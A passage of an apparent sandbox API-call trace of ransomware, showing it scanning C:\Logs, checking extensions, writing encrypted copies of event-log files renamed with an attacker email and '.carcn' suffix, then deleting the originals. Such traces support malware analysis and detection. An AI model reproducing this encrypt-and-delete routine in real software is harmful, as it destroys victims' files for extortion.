(lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0177.549] lstrlenW (lpString=".zip") returned 4 [0177.549] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.549] lstrlenW (lpString=".rar") returned 4 [0177.549] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.549] lstrlenW (lpString=".bz2") returned 4 [0177.549] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.549] lstrlenW (lpString=".7z") returned 3 [0177.549] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.549] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0177.550] lstrlenW (lpString=".dbf") returned 4 [0177.550] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.550] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0177.550] lstrlenW (lpString=".1cd") returned 4 [0177.550] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.550] lstrlenW (lpString="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx") returned 55 [0177.550] lstrlenW (lpString=".jpg") returned 4 [0177.550] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.550] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0177.550] lstrlenW (lpString="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 71 [0177.550] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.556] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=1052672) returned 1 [0177.556] CloseHandle (hObject=0x318) returned 1 [0177.556] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20 [0177.556] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.556] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.556] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.556] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.556] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0177.556] GetLastError () returned 0x0 [0177.556] ReadFile (in: hFile=0x318, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0177.593] WriteFile (in: hFile=0x36c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0177.614] ReadFile (in: hFile=0x318, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x1010, lpOverlapped=0x0) returned 1 [0177.622] WriteFile (in: hFile=0x36c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x1020, lpOverlapped=0x0) returned 1 [0177.693] ReadFile (in: hFile=0x318, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.693] WriteFile (in: hFile=0x36c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x162, lpOverlapped=0x0) returned 1 [0177.693] SetEndOfFile (hFile=0x36c) returned 1 [0177.694] CloseHandle (hObject=0x36c) returned 1 [0177.711] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.711] SetEndOfFile (hFile=0x318) returned 1 [0177.712] CloseHandle (hObject=0x318) returned 1 [0177.712] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0177.712] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 1 [0177.713] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0177.713] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0177.713] lstrlenW (lpString=".doc") returned 4 [0177.713] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.713] lstrlenW (lpString=".docx") returned 5 [0177.713] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.713] lstrlenW (lpString=".pdf") returned 4 [0177.713] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.713] lstrlenW (lpString=".xls") returned 4 [0177.713] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.713] lstrlenW (lpString=".xlsx") returned 5 [0177.713] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.713] lstrlenW (lpString=".ppt") returned 4 [0177.713] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.713] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0177.713] lstrlenW (lpString=".zip") returned 4 [0177.713] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.713] lstrlenW (lpString=".rar") returned 4 [0177.713] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.713] lstrlenW (lpString=".bz2") returned 4 [0177.713] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.713] lstrlenW (lpString=".7z") returned 3 [0177.713] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.713] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0177.713] lstrlenW (lpString=".dbf") returned 4 [0177.713] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.713] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0177.713] lstrlenW (lpString=".1cd") returned 4 [0177.713] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.713] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0177.713] lstrlenW (lpString=".jpg") returned 4 [0177.714] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.714] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0177.714] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0177.714] lstrlenW (lpString=".doc") returned 4 [0177.714] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.714] lstrlenW (lpString=".docx") returned 5 [0177.714] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.714] lstrlenW (lpString=".pdf") returned 4 [0177.714] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.714] lstrlenW (lpString=".xls") returned 4 [0177.714] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.714] lstrlenW (lpString=".xlsx") returned 5 [0177.714] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.714] lstrlenW (lpString=".ppt") returned 4 [0177.714] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.714] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0177.714] lstrlenW (lpString=".zip") returned 4 [0177.714] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.714] lstrlenW (lpString=".rar") returned 4 [0177.714] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.714] lstrlenW (lpString=".bz2") returned 4 [0177.714] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.714] lstrlenW (lpString=".7z") returned 3 [0177.714] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.714] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0177.714] lstrlenW (lpString=".dbf") returned 4 [0177.714] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.714] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0177.714] lstrlenW (lpString=".1cd") returned 4 [0177.714] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.714] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned 79 [0177.714] lstrlenW (lpString=".jpg") returned 4 [0177.714] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.715] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0177.715] lstrlenW (lpString="Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 45 [0177.715] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.715] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0177.715] CloseHandle (hObject=0x318) returned 1 [0177.715] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20 [0177.715] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.715] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.715] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.715] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.715] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0177.716] GetLastError () returned 0x0 [0177.716] ReadFile (in: hFile=0x318, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0177.729] WriteFile (in: hFile=0x36c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0177.730] ReadFile (in: hFile=0x318, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.731] WriteFile (in: hFile=0x36c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x12e, lpOverlapped=0x0) returned 1 [0177.731] SetEndOfFile (hFile=0x36c) returned 1 [0177.731] CloseHandle (hObject=0x36c) returned 1 [0177.733] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.733] SetEndOfFile (hFile=0x318) returned 1 [0177.734] CloseHandle (hObject=0x318) returned 1 [0177.734] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0177.734] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 1 [0177.734] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0177.734] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0177.734] lstrlenW (lpString=".doc") returned 4 [0177.734] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.734] lstrlenW (lpString=".docx") returned 5 [0177.734] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.734] lstrlenW (lpString=".pdf") returned 4 [0177.734] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.734] lstrlenW (lpString=".xls") returned 4 [0177.734] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.735] lstrlenW (lpString=".xlsx") returned 5 [0177.735] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.735] lstrlenW (lpString=".ppt") returned 4 [0177.735] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0177.735] lstrlenW (lpString=".zip") returned 4 [0177.735] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.735] lstrlenW (lpString=".rar") returned 4 [0177.735] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.735] lstrlenW (lpString=".bz2") returned 4 [0177.735] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0177.735] lstrlenW (lpString=".7z") returned 3 [0177.735] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0177.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0177.735] lstrlenW (lpString=".dbf") returned 4 [0177.735] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0177.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0177.735] lstrlenW (lpString=".1cd") returned 4 [0177.735] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0177.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0177.735] lstrlenW (lpString=".jpg") returned 4 [0177.735] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0177.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0177.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0177.735] lstrlenW (lpString=".doc") returned 4 [0177.735] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0177.735] lstrlenW (lpString=".docx") returned 5 [0177.735] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0177.735] lstrlenW (lpString=".pdf") returned 4 [0177.735] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0177.735] lstrlenW (lpString=".xls") returned 4 [0177.735] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0177.735] lstrlenW (lpString=".xlsx") returned 5 [0177.735] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0177.736] lstrlenW (lpString=".ppt") returned 4 [0177.736] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0177.736] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0177.736] lstrlenW (lpString=".zip") returned 4 [0177.736] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0177.736] lstrlenW (lpString=".rar") returned 4 [0177.736] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0177.736] lstrlenW (lpString=".bz2") returned 4 [0177.736] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0178.490] lstrlenW (lpString=".7z") returned 3 [0178.490] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0178.490] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0178.490] lstrlenW (lpString=".dbf") returned 4 [0178.490] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0178.490] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0178.490] lstrlenW (lpString=".1cd") returned 4 [0178.490] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0178.490] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0178.490] lstrlenW (lpString=".jpg") returned 4 [0178.490] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0178.491] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0178.491] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 55 [0178.491] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.622] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0178.622] CloseHandle (hObject=0x300) returned 1 [0178.622] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20 [0178.623] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.623] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.623] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.623] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.623] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0178.623] GetLastError () returned 0x0 [0178.623] ReadFile (in: hFile=0x300, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0178.723] WriteFile (in: hFile=0x390, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0178.725] ReadFile (in: hFile=0x300, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.725] WriteFile (in: hFile=0x390, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x142, lpOverlapped=0x0) returned 1 [0178.725] SetEndOfFile (hFile=0x390) returned 1 [0178.725] CloseHandle (hObject=0x390) returned 1 [0178.727] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.727] SetEndOfFile (hFile=0x300) returned 1 [0178.730] CloseHandle (hObject=0x300) returned 1 [0178.730] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.731] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 1 [0178.731] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0178.731] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0178.731] lstrlenW (lpString=".doc") returned 4 [0178.731] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0178.731] lstrlenW (lpString=".docx") returned 5 [0178.731] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0178.731] lstrlenW (lpString=".pdf") returned 4 [0178.731] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0178.731] lstrlenW (lpString=".xls") returned 4 [0178.731] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0178.731] lstrlenW (lpString=".xlsx") returned 5 [0178.731] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0178.731] lstrlenW (lpString=".ppt") returned 4 [0178.731] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0178.731] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0178.731] lstrlenW (lpString=".zip") returned 4 [0178.731] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0178.731] lstrlenW (lpString=".rar") returned 4 [0178.732] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0178.732] lstrlenW (lpString=".bz2") returned 4 [0178.732] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0178.732] lstrlenW (lpString=".7z") returned 3 [0178.732] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0178.732] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0178.732] lstrlenW (lpString=".dbf") returned 4 [0178.732] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0178.732] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0178.732] lstrlenW (lpString=".1cd") returned 4 [0178.732] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0178.732] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0178.732] lstrlenW (lpString=".jpg") returned 4 [0178.732] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0178.732] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0178.732] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0178.733] lstrlenW (lpString=".doc") returned 4 [0178.733] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0178.733] lstrlenW (lpString=".docx") returned 5 [0178.733] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0178.733] lstrlenW (lpString=".pdf") returned 4 [0178.733] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0178.733] lstrlenW (lpString=".xls") returned 4 [0178.733] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0178.733] lstrlenW (lpString=".xlsx") returned 5 [0178.733] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0178.733] lstrlenW (lpString=".ppt") returned 4 [0178.733] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0178.733] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0178.733] lstrlenW (lpString=".zip") returned 4 [0178.733] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0178.733] lstrlenW (lpString=".rar") returned 4 [0178.733] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0178.733] lstrlenW (lpString=".bz2") returned 4 [0178.733] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0178.733] lstrlenW (lpString=".7z") returned 3 [0178.733] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0178.733] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0178.733] lstrlenW (lpString=".dbf") returned 4 [0178.733] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0178.733] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0178.733] lstrlenW 